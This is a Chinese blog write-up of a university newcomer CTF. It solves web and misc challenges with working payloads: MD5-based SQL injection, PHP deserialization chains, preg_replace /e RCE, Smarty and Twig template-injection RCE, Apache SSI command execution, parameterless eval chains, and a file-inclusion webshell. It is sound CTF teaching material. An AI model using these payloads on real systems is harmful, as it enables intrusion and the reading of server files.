Author:颖奇L’Amore

比赛id:Y1ng

Blog:www.gem-love.com

本文图片全部采用对象存储加速

本比赛是江苏大学、江苏科技大学、杭州师范大学三校的新生赛,作为校外人员就来随便玩玩23333


WEB

hello_world

打开网站发现是一个很漂亮的页面,不过没什么用,查看源代码后搜索php发现search.php

访问后被告知

please make sure your id

在header可以看到一个名为ID的header,为guest+guest的base64

hint告诉id改成admin相关,因此将id改为admin+admin的base64即可。修改后告诉:

请使用主机访问

虽然说得不是很明确,但是还是能想到应该是XFF,X-Forwarded-For改为127.0.0.1。修改后告诉:

you are not from https://google.com

很明显,修改Referer即可。之后得到flag


easy_upload

新手题。打开之后有一个上传,url为

http://222.186.56.247:8103/index.php?action=upload.php

看url就可以想到应该是LFI。所以传一个php木马到一个图片

然后包含图片马导致代码执行,得到flag


Hidden Secret

打开之后是一个登陆界面,在header上看到一个password,md5解密后为112233,得到密码

登录后,在源代码有个注释,得到flag


easy_md5

打开题目是个登陆框,做了这么几个题之后应该已经知道了出题人喜欢在header放东西,所以继续看header,发现hint

select * from 'admin' where password=md5($pass,true)

16位md5常见套路,输入密码ffifdyop,登录即可。这是因为它的原始字符串导致了' or 1=1的SQL注入,相当于所谓的万能密码登录。请参考:

https://www.jianshu.com/p/12125291f50d

http://mslc.ctf.su/wp/leet-more-2010-oh-those-admins-writeup/

登录后,查看网页源代码,发现代码,要求a和b不等但是md5相等:

$a = $GET['a'];
$b = $_GET['b'];

if($a != $b && md5($a) == md5($b)){
	//wow,you can really dance
}

又是典型的md5 bypass,因为md5()或者sha1()之类的函数计算的是一个字符串的哈希值,对于数组则返回false,如果$a$b都是数组则双双返回FALSE, 两个FALSE相等得以绕过。payload:

http://222.186.56.247:8102/levels91.php?a[]=1&b[]=2

之后来到新页面,得到代码

<?php
error_reporting(0);
include "flag.php";

highlight_file(__FILE__);

if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){
    echo $flag;
}

本来以为是改的强网杯的那个题,强网杯是将md5值转成了字符串做比较,所以必须要找到两个“不相同但是md5值相同的东西”,也确实有,可以去看强网杯的wp。这个题这里还是用数组绕过,两个考点重复了。


Mark loves cat

套娃题!不好往出绕,本地测试并在所有能输出变量值的地方输出,有助于理清思路。

打开题目是个挺漂亮的前端,没找到有用信息,丢进dirb,发现有/.git目录,存在git泄露,于是得到源码

<?php
include 'flag.php';
$yds = "dog";
$is = "cat";
$handsome = 'yds';

foreach($_POST as $x => $y){
    $$x = $y;
}

foreach($_GET as $x => $y){
    $$x = $$y;
}

foreach($_GET as $x => $y){
    if($_GET['flag'] === $x && $x !== 'flag'){
        exit($handsome);
    }
}

if(!isset($_GET['flag']) && !isset($_POST['flag'])){
    exit($yds);
}

if($_POST['flag'] === 'flag'  || $_GET['flag'] === 'flag'){
    exit($is);
}

echo "the flag is: ".$flag;"

这里使用了“可变变量”,我们还是称之为“套娃变量”吧,不懂的话可参考:

https://www.php.net/manual/zh/language.variables.variable.php

这个很绕,先上最终的Payload吧:

可以得到flag: BJD{Mark_l0ve_His_C4t}

一点一点分析:

foreach($_POST as $x => $y){
    $$x = $y;
}
POST:$flag=1

$x为$flag;$y为1;$$x表示$$flag,被$y赋值后为1。

foreach($_GET as $x => $y){
    $$x = $$y;
}
GET:?yds=flag

$x为yds;$y为flag;$$x表示$yds;$$y表示$flag;然后$flag就是BJD{xxx},$$x被赋值为$$y,就是$yds被赋值为$flag,也就是$yds被赋值为BJD{xxx},现在$yds=BJD{xxx}

现在只要没有flag参数,就会exit($yds),就可以得到flag了。


这反序列化也太简单了吧

访问题目得到源码

<?php
error_reporting(0);
highlight_file(__FILE__);
//flag in /flag
class Flag{
    public $file;

    public function __wakeup(){
        $this -> file = 'woc';
    }

    public function __destruct(){
        print_r(file_get_contents($this -> file));
    }
}

$exp = $_GET['exp'];
$new = unserialize($exp);

最基础的反序列化题目,只要绕过__wakeup()魔术方法即可,生成序列化字符串Payload:

<?php
class Flag{
    public $file = "/flag";
}
$y1ng = new Flag();
echo serialize($y1ng);

得到

O:4:"Flag":1:{s:4:"file";s:5:"/flag";}

改大对象属性的个数,GET给exp参数,即可读取/flag文件得到flag

http://222.186.56.247:8301/?exp=O:4:%22Flag%22:2:{s:4:%22file%22;s:5:%22/flag%22;}

ZJCTF,就这?

2333这道题拿一血了

打开题目,得到源代码

<?php

error_reporting(0);
$text = $_GET["text"];
$file = $_GET["file"];

if(strstr(file_get_contents('php://input'),'a')){
    die("嚯,有点意思");
}

if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){
        die("Not now!");
    }

    include($file);  //next.php
    
}
else{
    highlight_file(__FILE__);
}
?>

首先需要读取$text文件内容为I have a dream,可以使用data://伪协议

http://222.186.56.247:8108/?text=data://text/plain,I%20have%20a%20dream

也可以远程文件包含

http://222.186.56.247:8108/?text=http://www.gem-love.com/1.txt

然后就会包含$file,提示next.php,可以用伪协议读源码

http://222.186.56.247:8108/?text=data://text/plain,I%20have%20a%20dream&file=php://filter/convert.base64-encode/resource=next.php

得到next.php的源代码

<?php

function complex($re, $str) {
    return preg_replace(
        '/(' . $re . ')/ei',
        'strtolower("\\1")',
        $str
    );
}


foreach($_GET as $re => $str) {
    echo complex($re, $str). "\n";
}

function getFlag(){
	@eval($_GET['cmd']);
}

这里考preg_replace()的RCE。相关原理请参考十分牛b的一篇文章:

深入研究preg_replace与代码执行

https://xz.aliyun.com/t/2557

Payload:

http://222.186.56.247:8108/next.php?\S*=${eval($_POST[y1ng])}

根目录下得到flag


The Mystrery of IP

Shana师傅出的题太顶了,这题做了好久才做出来(wtcl

打开之后直接访问hint

http://222.186.56.247:10001/hint.php

看到一行注释

<!-- Do you know why i know your ip? -->

flag页面显示的是当前ip

题目提示问为什么可以获取到客户端ip,考虑是XFF或Client-IP这两个header,测试后发现果然如此,这个ip可控

实验吧有一个题目:通过XFF读取IP存到数据库,再从数据库读出来显示,加上XFF可控,导致出现了SQL注入。这个题fuzz后发现无果。

利用排除法,SQLi代码审计xss啥的全都不是,然后测试SSTI,虽然也没找到模板(getshell后知道是smarty),歪打正着就模板注入RCE了。

payload:

123{{system('cat /flag')}}

即可得到flag: BJD{Smarty_Maybe_danger0us_1sNt_it?}


sasy_serialize

又是套娃题。访问即可得到源码:

<?php
header("Content-type:text/html;charset=utf-8");
error_reporting(1);

class Read 
{
    public function get_file($value)
    {
        $text = base64_encode(file_get_contents($value));
        return $text;
    }
}
class Show
{
    public $source;
    public $var;
    public $class1;
    public function __construct($name='index.php')
    {
        $this->source = $name;
        echo $this->source.' Welcome'."<br>";    
}
 
    public function __toString()
    {   
        $content = $this->class1->get_file($this->var);
        echo $content;
        return $content;
    }
 
    public function _show()
    {
        if(preg_match('/gopher|http|ftp|https|dict|\.\.|flag|file/i',$this->source)) {
            die('hacker');
        } else {
            highlight_file($this->source);
        }
 
    }
 
    public function Change()
    {
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
        }
    }
    public function __get($key){
        $function=$this->$key;
        $this->{$key}();
    }
}

if(isset($_GET['sid']))
{
    $sid=$_GET['sid'];
    $config=unserialize($_GET['config']);
    $config->$sid;
}
else
{
    $show = new Show('index.php');
    $show->_show();
}

审计代码可以发现:

  • Read类读取文件源代码,我们要用他来获取flag
  • Show类内$content = $this->class1->get_file($this->var); ,而get_file()Read内方法,说明$class1new Read();
  • Show内使用get_file()需要触发__toString()魔术方法
  • __get()魔术方法在当访问不存属性在或为私有属性的时候会触发,__get()方法内将$key作为方法执行

解题顺序:通过反序列化覆盖变量$class1new Read(); 覆盖变量$var为flag.php;$source是障眼法不用管;反序列化后访问$sid属性,将$sid赋值为__toString,于是就访问了不存在的属性触发了__get()方法;__get()内又获取了这个不存在的属性名__toString,将之作为方法调用,于是触发了__toString()方法;在__toString()内调用Read对象内的get_file()方法读取$var也就是flag.php的源代码,得到base64解码就是flag

构造序列化:

<?php
class Read 
{
    public function get_file($value)
    {
        $text = base64_encode(file_get_contents($value));
        return $text;
    }
}
class Show
{
    public $source = "index.php";
    public $var;
    public $class1;
}

$y1ng =  new Show();
$y1ng->var = "flag.php";
$y1ng->class1 = new Read();
echo serialize($y1ng);

payload:

http://222.186.56.247:8109/?sid=__toString&config=O:4:%22Show%22:3:{s:6:%22source%22;s:9:%22index.php%22;s:3:%22var%22;s:8:%22flag.php%22;s:6:%22class1%22;O:4:%22Read%22:0:{}}

得到base64解码后就是flag。


easy_search

vim泄露,访问index.php.swp得到源码

<?php
	ob_start();
	function get_hash(){
		$chars = '[email protected]#$%^&*()+-';
		$random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)];//Random 5 times
		$content = uniqid().$random;
		return sha1($content); 
	}
    header("Content-Type: text/html;charset=utf-8");
	***
    if(isset($_POST['username']) and $_POST['username'] != '' )
    {
        $admin = '6d0bc1';
        if ( $admin == substr(md5($_POST['password']),0,6)) {
            echo "<script>alert('[+] Welcome to manage system')</script>";
            $file_shtml = "public/".get_hash().".shtml";
            $shtml = fopen($file_shtml, "w") or die("Unable to open file!");
            $text = '
            ***
            ***
            <h1>Hello,'.$_POST['username'].'</h1>
            ***
			***';
            fwrite($shtml,$text);
            fclose($shtml);
            ***
			echo "[!] Header  error ...";
        } else {
            echo "<script>alert('[!] Failed')</script>";
            
    }else
    {
	***
    }
	***
?>

需要一个md5的前6位为6d0bc1的密码登录,登录后会随机生成一个hash,然后将username存入/public/hash.shtml中。

之前做过类似的题,是一个弱密码,爆破了40w个带字母的密码无果,使用py爆破纯数字,脚本:

#Author: 颖奇L'Amore
#Blog: www.gem-love.com
import hashlib
i = 0
while 1:
    md5 = hashlib.md5(f"{i}".encode()).hexdigest()
    md6 = md5[0:6]
    if md6 == '6d0bc1':
        print(i)
        break
    i = i + 1

或者md5Crack.py也可以,脚本比较长就不贴出来了,网上能搜到。

得到密码为2020666。登录后可以在header看到shtml文件的路径

现在需要通过shtml文件进行RCE来读取flag所在的文件。若Apache开启SSI,则shtml可以进行文件包含和命令执行。SSI漏洞参考:

https://www.zhangfangzhou.cn/apache-ssi-configuration.html

username输入<!--#exec cmd="ls ../"-->之后访问shtml,发现根目录下flag文件:flag_990c66bf85a09c664f0b6741840499b2

再次username输入<!--#exec cmd="cat ../flag_990c66bf85a09c664f0b6741840499b2"--> 即可读取flag文件。访问shtml文件得到flag:BJD{yds_1s_S0_Beautiful}


又是套娃奥

这个题被我用非预期一血了,跟出题人说了之后就把题目改好了,改后我也做了

关于无参数RCE,参考:

简析GXY_CTF “禁止套娃”无参数RCE

改题前

先说下改题前的非预期

ps:当时的题目的正则匹配和现在再打开看的不一样

打开题目发现是熟悉的无参数RCE,并且没有发现/flag.php文件,考虑flag在根目录。由于当前目录是/var/www/html/aboy,所以到根目录需要4次chdir(),扫根目录payload:

var_dump(scandir(chr(pos(localtime(time(chdir(next(scandir(chr(pos(localtime(time(chdir(next(scandir(chr(pos(localtime(time(chdir(next(scandir(chr(pos(localtime(time(chdir(next(scandir(chr(pos(localtime(time())))))))))))))))))))))))))))))))));

一秒一个包,在第43个包时成功扫描到根目录,发现有flag.sh

接下来是读取flag.sh,最开始用的payload:

print_r(readfile(array_rand(array_flip(scandir(chr(pos(localtime(time(chdir(next(scandir(chr(pos(localtime(time(chdir(next(scandir(chr(pos(localtime(time(chdir(next(scandir(chr(pos(localtime(time())))))))))))))))))))))))))))));

这个是将scandir()扫描根目录得到的数组的键和值做交换,然后随机取出一个进行文件读取,如果随机取出了一个目录则print_r(readfile())返回0。由于每一分钟只能成功一次,然后又要在22个中随机取出一个,理论上按概率计算也需要22分钟,不过我跑了50分钟都还没出,不知道是不是人品不好。。

然后又回去观察他的正则,发现没有ban掉session,恍然大悟,可以用session!!payload:

show_source(session_id(session_start()));
设置cookie PHPSESSID=/flag.sh

得到flag。

 

改题后

跟出题人讲了这个事儿,出题人改掉了题目,改后的代码:

if(isset($_GET['handsomeyds'])){
                if(';' === preg_replace('/[a-z|\_]+\((?R)?\)/', NULL, $_GET['handsomeyds'])) {
                        if (!preg_match('/et|na|nt|ss|info|dec|flip|bin|hex|oct|pi|al|po/i', $_GET['handsomeyds'])) {
                                eval($_GET['handsomeyds']);
                        }
                        else{
                                die("you cannot use the function");
                        }
                }
                else{
                        die("you cannot do this");
                }
        }
        else{
                echo "have a try";
        }

先来分析一下:

  • ban掉了po和nt 不能使用pos()current()来获取某个array的第一个值
  • ban掉了et不能使用任何带get的函数
  • ban掉了ss不能使用session
  • ban掉了flip不能交换数组键值
  • ban掉了na不能用含有print的函数,不过可以用var_dump()

修改后的flag存在根目录下的/flag.php,当前位于/aboy目录,需要先进行切换目录。

解法1

本题可以使用crypt()扫目录和进行文件读取,具体原理请参考我写的GXY_CTF 禁止套娃

扫网站根目录,目的是知道flag.php在scandir()返回的数组中的位置,payload:

var_dump(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(chr(ord(hebrevc(crypt(phpversion())))))))))))));

得知flag.php是倒数第二个

之后将该数组逆序后取next()即可得到flag.php,读flag源代码pyload:

var_dump(readfile(next(array_reverse(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(chr(ord(hebrevc(crypt(phpversion()))))))))))))))));

得到flag:BJD{T40W4_123s_so_123nterstingwochaha}

解法2:

在“GXY_CTF禁止套娃”中引用了一段byteCTF的payload,使用if条件目录穿越,本题也可以用if。Payload:

if(chdir(next(array_reverse(scandir(chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion())))))))))))))var_dump(readfile(next(array_reverse(scandir(chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion())))))))))))));

Cookie is so subtle!

和ip那个界面一样,想到应该也是SSTI模板注入,参考文章:

https://zhuanlan.zhihu.com/p/28823933

模板测试顺序图:

打开题目,发现有一个叫user的cookie可控,是注入点。测试后发现是Twig模板(为啥不是Jinja2呢 因为Jinja2不是PHP语言的)

于是注册exec为filter的函数并调用,发现可以:

获取flag的payload:

user={{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}

得到flag:BJD{C00k1e_iS_s0_Subt13_23333}


Ezphp

shana师傅改的我那个Baby Code的题,共有3种解法(1预期+2非预期),参考:

“Y1ng’s Baby Code” 官方writeup

https://www.gem-love.com/websecurity/770.html


misc

签个到?

压缩包里面有个hello.zip,mac上的解压软件自动识别出了是一张QRCode,扫二维码得到flag:xaflag{i_am_a_tupian}

不能直接压缩软件识别出来的话,解压hello.zip发现解压失败,拖进kali用file命令也能识别出是图片,后缀改一下再打开就行了。


藏藏藏

binwalk发现zip压缩包,使用foremost分离然后解压,得到福利.docx

使用xarchiver打开福利.docx文档,在media发现一张图片,扫描二维码得到flag:flag{you are the best!}


认真你就输了

解压出来xls,binwalk分离文件得到flag.txt,打开得到flag:flag{M9eVfi2Pcs#}


你猜我是个啥

是一个无法打开的zip压缩包,file命令查看发现是个png图片,直接cat即可得到flag(修改后缀为png变成一个二维码是扫不出来flag的


鸡你太美

GIF89a这个文件头丢失,winhex打开,填上4个字节,修复文件头,得到flag


纳尼

和cxk题一样,winhex修复gif文件头,然后把gif不同帧连起来得到一个base64,解密后就是flag


just a rar

解压出来一个rar名称为4位数,爆破密码:2016

然后解出来一个图片,stegsolve——Analyse——File Format找到flag:flag{Wadf_123}


一叶障目

png的CRC校验问题,图片的宽高被改了导致无法打开,自动修复脚本:

#本脚本来源于网络,作者未知,如有侵权请联系删除
import zlib
import struct
#读文件
file = '1.png' 
fr = open(file,'rb').read()
data = bytearray(fr[12:29])
crc32key = eval(str(fr[29:33]).replace('\\x','').replace("b'",'0x').replace("'",''))
#crc32key = 0xCBD6DF8A #补上0x,copy hex value
#data = bytearray(b'\x49\x48\x44\x52\x00\x00\x01\xF4\x00\x00\x01\xF1\x08\x06\x00\x00\x00')  #hex下copy grep hex 
n = 4095 #理论上0xffffffff,但考虑到屏幕实际,0x0fff就差不多了
for w in range(n):#高和宽一起爆破
    width = bytearray(struct.pack('>i', w))#q为8字节,i为4字节,h为2字节
    for h in range(n):
        height = bytearray(struct.pack('>i', h))
        for x in range(4):
            data[x+4] = width[x]
            data[x+8] = height[x]
            #print(data)
        crc32result = zlib.crc32(data)
        if crc32result == crc32key:
            print(width,height)
            #写文件
            newpic = bytearray(fr)
            for x in range(4):
                newpic[x+16] = width[x]
                newpic[x+20] = height[x]
            fw = open(file+'.png','wb')#保存副本
            fw.write(newpic)
            fw.close
            # return None


欧皇检测器

抓包,发现抽卡是以http形式与服务端交互,本地生成了抽卡结果提交至服务器,服务器返回所有卡总数等信息。只要修改了result,就能为所欲为了

设置http代理,用burp可以修改result

result为MORE就加硬币,为UR就增加UR。先把硬币加多防止最后抽卡没钱,然后疯狂抽UR,UR到100就买flag即可。

颖奇L'Amore原创文章,转载请注明作者和文章链接

本文链接地址:https://www.gem-love.com/ctf/824.html

注:本站定期更新图片链接,转载后务必将图片本地化,否则图片会无法显示

分类: CTF

颖奇L'Amore

Most of the time is also called Y1ng. Cisco Certified Internetwork Expert - Routing and Switching. CTF player for team r3kapig. Forcus on Web Security. Islamic Scholar. Be good at sleeping and fishing in troubled waters.

0 条评论

发表评论

电子邮件地址不会被公开。 必填项已用*标注

在此处输入验证码 : *

Reload Image